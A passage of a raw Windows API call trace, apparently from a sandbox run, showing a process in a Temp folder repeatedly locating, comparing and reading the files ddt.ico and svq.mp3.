lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.726] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.726] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.726] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.726] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.726] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.727] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.727] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.727] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.727] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.727] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.727] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.727] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.727] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.727] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.727] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.728] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.728] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.728] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.728] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.728] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.728] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.728] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.728] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.729] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.729] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.729] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.729] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.729] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.729] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.729] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.729] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.730] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.730] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.730] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.730] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.730] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.730] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.730] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.730] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.730] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.731] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.731] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.731] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.732] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.732] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.732] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.733] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.733] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.733] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.733] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.733] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.733] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.733] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.733] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.733] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.733] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.734] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.734] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.734] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.734] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.734] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.734] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.734] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.734] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.735] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.735] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.735] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.735] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.735] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.735] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.735] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.735] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.735] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.735] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.735] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.736] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.736] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.736] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.736] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.736] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.736] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.736] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.736] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.736] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.736] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.736] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.737] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.737] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.737] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.737] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.737] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.737] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.737] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.737] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.737] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.737] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.737] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.738] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.738] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.738] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.738] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.738] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.738] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.738] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, 